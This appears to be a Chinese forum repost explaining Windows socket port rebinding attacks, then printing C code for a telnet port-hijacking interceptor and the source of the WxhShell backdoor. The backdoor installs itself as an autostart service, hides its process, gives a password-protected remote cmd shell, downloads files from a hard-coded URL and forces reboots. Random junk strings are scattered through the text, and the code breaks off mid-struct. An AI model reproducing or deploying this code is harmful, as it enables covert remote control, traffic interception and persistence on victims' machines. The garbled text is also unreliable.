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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &m@~R| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V[&4Km9C t#pF.!9= saddr.sin_family = AF_INET; x[]}Jf{t (+Ia:D saddr.sin_addr.s_addr = htonl(INADDR_ANY); D@5Ud)_ ,dhSc<:LT bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i}C9 hq}kAv4B= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {<f_,Nlc S%ULGX:@ga 这意味着什么?意味着可以进行如下的攻击: [d+f#\ut .<Y7,9;YEF 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g]B!
29M 0<3)K[m~H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b(<#n6a}\ *Mu X]JK 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <w@z iUr :Osw4u]JXd 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 EyJWi< EA@p]+P 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7GN>o@ t O>P792) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )TNAgTmqK JO\F-xO 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9b
K K obYXDj2 #include 2)O-EAn #include pwq a/Yi #include w}*2Hz&Q! #include j6zZ! k DWORD WINAPI ClientThread(LPVOID lpParam); 1:2t4} int main()
"AH1)skB: { |etA2"r& WORD wVersionRequested; i9KQpWG: DWORD ret; 3@'3U?Hin WSADATA wsaData; }u"iA^'Ot BOOL val; <[7
bUB SOCKADDR_IN saddr; v;=F$3 SOCKADDR_IN scaddr; ANuIPF4NxP int err; u} y)'eH SOCKET s; |8xu*dVAp4 SOCKET sc; ~`7L\'fs int caddsize; FT0HU<." 1 HANDLE mt; rnB-e?> DWORD tid; DEmU},<S wVersionRequested = MAKEWORD( 2, 2 ); ZHQa}C+ err = WSAStartup( wVersionRequested, &wsaData ); N@Ie VF if ( err != 0 ) { aZK%?c printf("error!WSAStartup failed!\n"); `tmd' return -1; $w,&h:.p } /,G -1E saddr.sin_family = AF_INET; wWaO"N] (_2;}eg //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $+#Lq.3, )`u)#@x saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u 3&9R)J1 saddr.sin_port = htons(23);
3vs;ZBM if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zq(R !a6 { 'q+CL&D printf("error!socket failed!\n"); 9NX/OctFa' return -1; |VlQ0{
} nYfZ[Q>v val = TRUE; i+`N0!8lY //SO_REUSEADDR选项就是可以实现端口重绑定的 Knd2s~S if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G5JZpB#o { :C%cnU;N printf("error!setsockopt failed!\n"); 8KQD
w: return -1; &<Gs@UX~w } Qw&It //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?Q`u\G3.m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u$A*Vsmr //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |&O7F;/_ z:
x|;Ps! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *|Cmm>z"7 { :?LUv:G ret=GetLastError(); }Xn5M&>? printf("error!bind failed!\n"); @@&([f return -1; pf_(?\oz> } OQ,KQ\ listen(s,2); :BIgrz"Jz while(1) <{
Z$!]i1 { \YV`M3O caddsize = sizeof(scaddr); cr;\;Ta_!W //接受连接请求 #x)lN sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =#tQhg,_ if(sc!=INVALID_SOCKET) w 0V=49 { Re`'dde= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hj~nLgpN if(mt==NULL) D_n(T') { )0RznFJ+X printf("Thread Creat Failed!\n"); BQ\o?={ break; JYE[
1M } L.5 /wg } 8SJi~gV CloseHandle(mt); ,!m][ } K'Gv+UC*6 closesocket(s); d&z^u.SY WSACleanup(); xy/B<.M1 return 0; ;@I4[4ph} } ^xB=d S~ DWORD WINAPI ClientThread(LPVOID lpParam) Gw\-e;, { \NIj&euF SOCKET ss = (SOCKET)lpParam; D #<)q) SOCKET sc; OPYl#3I unsigned char buf[4096]; v5aHe_?lp SOCKADDR_IN saddr; x*p>l ! long num; q4'Vb DWORD val; GIo7-
6kvm DWORD ret; 6*!R' //如果是隐藏端口应用的话,可以在此处加一些判断 s]tBd!~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 `V(zz saddr.sin_family = AF_INET; `pB]_"b saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R~=_,JUW saddr.sin_port = htons(23); ZS@ Gt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [;rty<Z^b { nPAVrDg
O printf("error!socket failed!\n"); g~>g]) return -1; DU@ZLk3 } z2EZ0vZ val = 100; -d|Q|zF^x if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L)0j& { b.Yl0Y ret = GetLastError(); 1WArgR return -1; %fv;C } \(S69@f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g$z9 ( i+ { W.B;Dy,Y ret = GetLastError(); |H.i$8_A return -1;
2s+ITPr } >EMsBX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .V4w+:i { XN*?<s3 printf("error!socket connect failed!\n"); 9:JFG{M closesocket(sc); S 54N closesocket(ss); 2;82*0Y% return -1; M/O4JZEqh } &p."`
C while(1) r)9&'m .: { 1c$<z~
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UJ}Xa&*H\ //如果是嗅探内容的话,可以再此处进行内容分析和记录 .<0s?Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @xO?SjH num = recv(ss,buf,4096,0); G`a,(<kT; if(num>0) 9;fyC= send(sc,buf,num,0); 7W{xK'|] else if(num==0) 3 &aBU[ break; /b$0).fj@, num = recv(sc,buf,4096,0); V*$(T t( if(num>0) v#HaZT]u send(ss,buf,num,0); hkK+BmMj\ else if(num==0) hI&ugdf break; 2+Y8b:: } M;14s*g closesocket(ss); & o2F4 closesocket(sc); *@E Itj ` return 0 ; 72YL
} NXJyRAJ*% %Ydzzr3 p1-bq: ========================================================== AU3Ou5 u{H'evv0O 下边附上一个代码,,WXhSHELL =p1aF/1$I )ZyEn% ==========================================================
1#G( w2
L'j9 #include "stdafx.h" dG}.T_l $>72 g.B #include <stdio.h> =nq9)4o #include <string.h> j.'Rm%@u #include <windows.h> J?Ed^B- #include <winsock2.h> `|["{j}^ #include <winsvc.h> _fVC\18T #include <urlmon.h> e)(m0m\ B/iRR2h #pragma comment (lib, "Ws2_32.lib") ^KBE2C #pragma comment (lib, "urlmon.lib") zW,Nv>Ac5 nE~HcxE/ #define MAX_USER 100 // 最大客户端连接数 500qg({2] #define BUF_SOCK 200 // sock buffer T:/68b*H\: #define KEY_BUFF 255 // 输入 buffer FqvMi:F oicj3xkw? #define REBOOT 0 // 重启 +[=yLE#P% #define SHUTDOWN 1 // 关机 ;yc|=I^ g^CAT1} #define DEF_PORT 5000 // 监听端口 S$=e %c !<ae~#]3P #define REG_LEN 16 // 注册表键长度 w6^X*tE #define SVC_LEN 80 // NT服务名长度 "Yk3K^`1T. 7 Q`'1oE? // 从dll定义API 4\#!Gv- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |k
# ~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A7/
R5p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CdTyUl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v Ft]n uSAb // wxhshell配置信息 z3RlD"F1 struct WSCFG { #^\qFj int ws_port; // 监听端口 Ws+Zmpk% char ws_passstr[REG_LEN]; // 口令 SS4'yaQ int ws_autoins; // 安装标记, 1=yes 0=no v}$s,j3NO char ws_regname[REG_LEN]; // 注册表键名 nDdF(|Qt char ws_svcname[REG_LEN]; // 服务名 c|kQ3( char ws_svcdisp[SVC_LEN]; // 服务显示名 ;[)t*yAh char ws_svcdesc[SVC_LEN]; // 服务描述信息 liYR8 D
| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5M.KF;P int ws_downexe; // 下载执行标记, 1=yes 0=no 97$1na3gq char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" #WOb&h char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7c:5Ey jq4'=L$4 }; 4z~%gt74O] &HPzm6.3 // default Wxhshell configuration ";)SA,Z struct WSCFG wscfg={DEF_PORT, D^E+#a 1 "xuhuanlingzhe", ""j(wUp-W 1, 8?n6\cF "Wxhshell", |;L%hIR[
"Wxhshell", m&'z|eN "WxhShell Service", ^'g1? F$_ "Wrsky Windows CmdShell Service", QQd%V#M? "Please Input Your Password: ", *@M7J 1, ~)RKpRga\p " http://www.wrsky.com/wxhshell.exe", 4_#yl9+ "Wxhshell.exe" L@ b8, }; 91Cg
qU'O4TWZ // 消息定义模块 rC(-dJkV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a]-.@^:_i char *msg_ws_prompt="\n\r? for help\n\r#>"; \2rCT~x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; lL*k!lNs char *msg_ws_ext="\n\rExit."; }F*u
9E char *msg_ws_end="\n\rQuit."; ''@upZBJ char *msg_ws_boot="\n\rReboot..."; 8a\
Pjk char *msg_ws_poff="\n\rShutdown..."; 8:BPXdiK char *msg_ws_down="\n\rSave to "; n..9F$a [@Db7]nG char *msg_ws_err="\n\rErr!"; e[3rz%'Q char *msg_ws_ok="\n\rOK!"; x*)@:W! ~(TS>ck@ char ExeFile[MAX_PATH]; ;K'1dsA int nUser = 0; bdn{Y HANDLE handles[MAX_USER]; y=L9E? int OsIsNt; zLG5m]G4D 8Nr,Wq SERVICE_STATUS serviceStatus; y6[^I'kz SERVICE_STATUS_HANDLE hServiceStatusHandle; JsOu
*9R Eua\N<!aai // 函数声明 n3-2;xuNKE int Install(void); zuWfR&U|W int Uninstall(void); =Vgj=19X( int DownloadFile(char *sURL, SOCKET wsh); xK`.^W int Boot(int flag); p'2ZDd=v void HideProc(void); l!B)1 int GetOsVer(void); :Sh> int Wxhshell(SOCKET wsl); iU5Aj:U3 void TalkWithClient(void *cs); 7p}.r
J54 int CmdShell(SOCKET sock); uZyR{~-C int StartFromService(void); hRn[ 9B int StartWxhshell(LPSTR lpCmdLine); i;1EXM x5Sc+5?* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sK#)wjj\^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); htn "rY( sA3=x7j%c // 数据结构和表定义 ^-CQ9r* SERVICE_TABLE_ENTRY DispatchTable[] = 5WR(jl+M { =H'7g6 {wscfg.ws_svcname, NTServiceMain}, -{
Ng6ntS {NULL, NULL} k^|P8v+"D }; it2@hZc5 >L#HE // 自我安装 \O"EK~x}/ int Install(void) E7eOKNVC# { =YPvh]][ char svExeFile[MAX_PATH]; oGzZ.K3 A HKEY key; y;N[#hY#CD strcpy(svExeFile,ExeFile); 0Ey*ci^ue z 0;+.E! // 如果是win9x系统,修改注册表设为自启动 KrQ8//Ih if(!OsIsNt) { Rt$Q*`u
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #+2|ZfCn% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wvAXt*R RegCloseKey(key); >Q0HqOq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '_z#}P< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3>[_2}l RegCloseKey(key); %ZF6%m0S return 0; *$ZLu jy7 } *"N756Cj } )V!dmVQq{g } +LwE=unS else { :y)'_p *l/ <y+8\m // 如果是NT以上系统,安装为系统服务 8^3Z]=(Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qrt[MJ+# if (schSCManager!=0) +L4_] { i,=CnZCh SC_HANDLE schService = CreateService b|i94y( ( zOR schSCManager, <r*A(}Y wscfg.ws_svcname, 33O@jbs@ wscfg.ws_svcdisp, [.}-n AN SERVICE_ALL_ACCESS, gxpGi@5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tUXq!r<'dT SERVICE_AUTO_START, 3|/<Pk SERVICE_ERROR_NORMAL, 'F'v/G~F svExeFile, ';buS -|6 NULL, Sm2 |I6 NULL, mlgw0 NULL, ,B>Rc# NULL, ;>o}/h NULL b469 ); sjLI^#a if (schService!=0) Vi~9[&.E\! { em@\S CloseServiceHandle(schService); j HT2|VGb* CloseServiceHandle(schSCManager); neGCMKtzlJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %DAF26t strcat(svExeFile,wscfg.ws_svcname); VWoxi$3v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I|=$.i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t:m2[U_} RegCloseKey(key); Wq!n8O1 return 0; kve{CO* } b {e nD } 8=^o2& CloseServiceHandle(schSCManager); MtAD&+3$ } m/"\+Hv } Z:|2PQ4 *
%p6+D-C return 1; CVsc#=w0 } @P: W{\){fr6O // 自我卸载 ;mV,r,\dH int Uninstall(void) v%|()Z0 { 2nOoG/6
E HKEY key; K
(yuL[p` 0:^L>MO if(!OsIsNt) { > m GO08X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xN\PQ,J RegDeleteValue(key,wscfg.ws_regname); iw|6w,-)C RegCloseKey(key); pQaP9Y{OK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i)V-q9\ RegDeleteValue(key,wscfg.ws_regname); PgZ~of& RegCloseKey(key); ^F<[5e)M return 0; :('7ly!h } C'ZF#Z } !m"(SJn" } Za{sT&(| else { ,4ftQJ L 6){wQ%c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hS4Ljyeg if (schSCManager!=0) +%%FT#ce { NQ$tQ#chd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /IM5#M5~ if (schService!=0) sa8Sy& X" { ]p~QdUR( if(DeleteService(schService)!=0) { C[:Q?LE
CloseServiceHandle(schService); 'z\K0 CloseServiceHandle(schSCManager); y: @[QhV return 0; T!o 4k } rt5UT~ CloseServiceHandle(schService); MjMPbGUX{ } 6N
>ksqo8% CloseServiceHandle(schSCManager); NfcQB;0 } x\j6=| } {9KG06%+ e.eQZ5n~q` return 1; iulM8"P
} TL(L[ B[^mWVp6L // 从指定url下载文件 O&93QN0 int DownloadFile(char *sURL, SOCKET wsh) T`46\KkN { Zg%SE'kK HRESULT hr; IEV3(qzt char seps[]= "/"; 4.bL>Y>c char *token; H".~@,-} char *file; e!}R1 char myURL[MAX_PATH]; w/s{{X<bF char myFILE[MAX_PATH]; Qz;2RELz
>lqWni strcpy(myURL,sURL); v/f&rK* > token=strtok(myURL,seps); d[z+/L while(token!=NULL) T"-HBwl { @W|}|V5 file=token; HUurDgRi] token=strtok(NULL,seps); @Nb&f<+gi } emb~l{K $ 2E/#fX9!4 GetCurrentDirectory(MAX_PATH,myFILE); $~4ZuV% strcat(myFILE, "\\"); Nko;I?Fn strcat(myFILE, file); 8}m]XO send(wsh,myFILE,strlen(myFILE),0); GE=#8-@g~p send(wsh,"...",3,0); ^I9x@t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0Ha1pqR if(hr==S_OK) 4f~hd-z return 0; Zk2-U"0\o else VF=$'Bl| return 1; XiI@Px?FL pLL
^R } Dq+rEt 67 >*AL // 系统电源模块 94"R&| int Boot(int flag) pU)wxv[~ { ]>K%,}PS HANDLE hToken; 7,ODh-?ez TOKEN_PRIVILEGES tkp; ,dKcxp~[ 5nzkZw if(OsIsNt) { )` S,vF~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GOHRBV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JI5?,
)-St tkp.PrivilegeCount = 1; ^lB'7#7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %"@KuqV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $xmltvaF if(flag==REBOOT) { @jg*L2L6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /AWV@' return 0; :*TfGV } h,<%cvU= else { iNf+ -C3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J=W"FEXTL7 return 0;
Mi.xay% } NvXds;EC } VN|P(S6 else { "y/GK1C if(flag==REBOOT) { yWu80C8q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,6,#Lc return 0; 6Km@A M] } g+p?J.+ else { dkJ+*L5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )El#Ks5u return 0; #sy)-xM } E>xdJ } @rkNx@[~ LJYFz=p" return 1; K~AQ) ]pJI } CD%wi:C%| (4n 8[ // win9x进程隐藏模块 k61Ot3 void HideProc(void) $d?<(n { azz6_qk8 u\-xlp?"o HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $Ne$s if ( hKernel != NULL ) 8 vK
Z; { gO4`e(W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z1u{.^~ ^z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8$-(% FreeLibrary(hKernel); FSd842O } rC}r99Pe:x 6~V$0Y>] return; YY{S0jnhF } FkR9-X< _!H{\kU // 获取操作系统版本 =yOIP@ int GetOsVer(void) =9 FY;9 { [F%INl-sy OSVERSIONINFO winfo; n
!]_o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dGf{d7 D GetVersionEx(&winfo); G/\t<>O8o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a_w#,^/P return 1; l~Hs]*jm else ?8fa/e return 0; g5lf-}? } dGMBgj I0sd%'Ht? // 客户端句柄模块 Hq"i0Xm int Wxhshell(SOCKET wsl) ,95Nj h { =K~<& l8 SOCKET wsh; BZ<Q.:) struct sockaddr_in client; 4]u53` DWORD myID; NMM0'tY~ rq Dre`m while(nUser<MAX_USER) D`,W1Z# { d%NO_=I. int nSize=sizeof(client); 3i=+ [ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fmY=SqQG- if(wsh==INVALID_SOCKET) return 1; F#eZfj~ A#RA;Dt: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'J#u;KJ if(handles[nUser]==0) E$=!l{Ms closesocket(wsh); lNowH0K!D else -("sp nUser++; !"j?dQ.U; } u.x>::i& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i]a 5cn eaCv8zdX return 0; 1|l'oTAA } Y` Oz\W 9lNO
~8
// 关闭 socket PsMoH/+" void CloseIt(SOCKET wsh) 4,!#E0 { Hly2{hokq closesocket(wsh); @~hiL(IR' nUser--; j[k&O)A{C ExitThread(0); e82SG8#] } thIuK V{CO pca `nN! // 客户端请求句柄 <43O,Kx'Su void TalkWithClient(void *cs) d}j%.JJK { 3#`_t :"A C|bnUN SOCKET wsh=(SOCKET)cs; x>d,\{U char pwd[SVC_LEN]; zBtlkBPu char cmd[KEY_BUFF]; P!3)-apP\ char chr[1]; IWERn
v! int i,j; Pky/fF7e RTHD2 while (nUser < MAX_USER) { 0sM{yGu=, ER<LP@3k if(wscfg.ws_passstr) { G?)NDRM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n*{aN}auJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?j9J6=2 //ZeroMemory(pwd,KEY_BUFF); '!^5GSP3& i=0; @(M-ZO!D while(i<SVC_LEN) { {fFZ%$ s(jixAf // 设置超时 j\k|5="w- fd_set FdRead; W5PNp%+KE struct timeval TimeOut; AP5[}$TT FD_ZERO(&FdRead); T'B4 3Q FD_SET(wsh,&FdRead); ]=!wMn* * TimeOut.tv_sec=8; ?~c=Sa- TimeOut.tv_usec=0; `dekaRo int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); smaPZ^;; j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y:u7*%" o.W:R Ux if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O?5uCh$H pwd =chr[0]; Cl#PYB{1Y if(chr[0]==0xd || chr[0]==0xa) { W6J%x[>Z pwd=0; :@#9P," break; o~<Xc } CC&o pC i++; kqy d3Si> } "`HkAW4GZa k8IhQ{@ // 如果是非法用户,关闭 socket sh;DCd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _W]R|kYl$' } (37dD! #0>??]&r send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }#):ZPTs send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YbAa@Sq@ '/M9V{DD88 while(1) { |2t
g3m@ :0N}K} ZeroMemory(cmd,KEY_BUFF); VZuluV !*Ex}K99 // 自动支持客户端 telnet标准 E| eEAa
j=0; Rr#Zcs!G while(j<KEY_BUFF) { ZD!?mR+- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <8;SSdoKi cmd[j]=chr[0]; !2L?8oP-z if(chr[0]==0xa || chr[0]==0xd) { N~NUBEKcp cmd[j]=0; 9#(Nd, m}) break; *{WhUHZF } SFqY*:svOw j++; 8R|!$P } h; " 9. iB4`w\-o // 下载文件 D2}N6i if(strstr(cmd,"http://")) { Nini8@d send(wsh,msg_ws_down,strlen(msg_ws_down),0); rSu+zS7`X if(DownloadFile(cmd,wsh)) M;2@<,rM send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)~t^ else eka<mq|W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -)N,HAM> } FK;3atrz else { ,GOH8h EPeKg{w switch(cmd[0]) { ($QQuM= NJ]AxFG // 帮助 `>ppDQaS)W case '?': { H!SFSgAu send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); - t#YL break; *G rYB6MT } V[DiN~H // 安装 B|WM;Y^ case 'i': { H@,h$$ if(Install()) ^mwS6WH6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); kg&R else a+mrsyM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w?#s)z4}g break; Cb}I-GtO } ehTrjb3k // 卸载
zSd!n case 'r': { Ww=^P{q\ if(Uninstall()) Gxh r0' send(wsh,msg_ws_err,strlen(msg_ws_err),0); q4MR9ig1E_ else m&MAA^ I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s5s'[< break; -v %n@8p } px${
"K< // 显示 wxhshell 所在路径 .9NYa |+0 case 'p': { n2A
;
`= char svExeFile[MAX_PATH]; iW%~>`tT strcpy(svExeFile,"\n\r"); i(qZ#oN strcat(svExeFile,ExeFile); X'uQr+p^ send(wsh,svExeFile,strlen(svExeFile),0); <aQ<Wy=\ break; T
W#s)iDi } `!( IQ& // 重启 J?#Xy9dz case 'b': { 0SjB&J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,ZV>"'I: if(Boot(REBOOT)) ?lca#@f( send(wsh,msg_ws_err,strlen(msg_ws_err),0); AZ.$g?3w else { WAt= T3 closesocket(wsh); LvqWA} ExitThread(0); )FpizoV q0 } Gf=3h4 break; rnyXMt.q } ;rRV=$y // 关机 38mC+%iC case 'd': { b#nI#!p' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xyD2<?dGUb if(Boot(SHUTDOWN)) $c{fPFe- send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~pT1,1 else { }el7@Gv closesocket(wsh); Xj9\:M- ExitThread(0); a[_IG-l|i4 } ${)oi:K@: break; 5pT8 }?7 } p'`?CJq8 // 获取shell PrHoN2y5E case 's': { \483S]_-z{ CmdShell(wsh); N:q\i57x closesocket(wsh); NkV81? ExitThread(0); A?bqDy break; uH&B=w } t6uYFxE // 退出 W{%X1::q$ case 'x': { Vk> & send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pZcY[a CloseIt(wsh); BCfmnE4% break; ,j6R/sg } GT7&>}FJ) // 离开 &\=Tm~ case 'q': { U8.V Rn send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7`j%5%q closesocket(wsh); %M3L<2 WSACleanup(); < 1%}8t" exit(1); !r8_'K5R( break; bvOnS0,y } k!ID } oJZxRm[g$t } 7B<,nKd : *XAQb0 // 提示信息 RFLfvD< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IH&0>a } -=cm7/X } _NB*+HVo "F =NDF return; -{}h6r } y/E:6w 7},oY""8 // shell模块句柄 i)$P1h int CmdShell(SOCKET sock) ?7]G)8G6 { Fge["p?GF STARTUPINFO si; 5%N[hd1Ql ZeroMemory(&si,sizeof(si)); ^TD%l8o6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )m#Y^ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xG;;ykh.] PROCESS_INFORMATION ProcessInfo; P!"{-m' char cmdline[]="cmd"; Q*Y-@lZ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :c|Om{; return 0; GM8Q#vc } wH$qj'G4CN ohbU~R3{U // 自身启动模式 @ta:9wZ int StartFromService(void) :%z#s { zYP6m3n typedef struct }SC&6B?G { K&n-(m% DWORD ExitStatus; ttdY]+Fj DWORD PebBaseAddress; -K lR":
DWORD AffinityMask; suzK)rJ9i DWORD BasePriority; kia[d984w ULONG UniqueProcessId; rFGPS%STS ULONG InheritedFromUniqueProcessId; k33\;9@k } PROCESS_BASIC_INFORMATION; Zf1
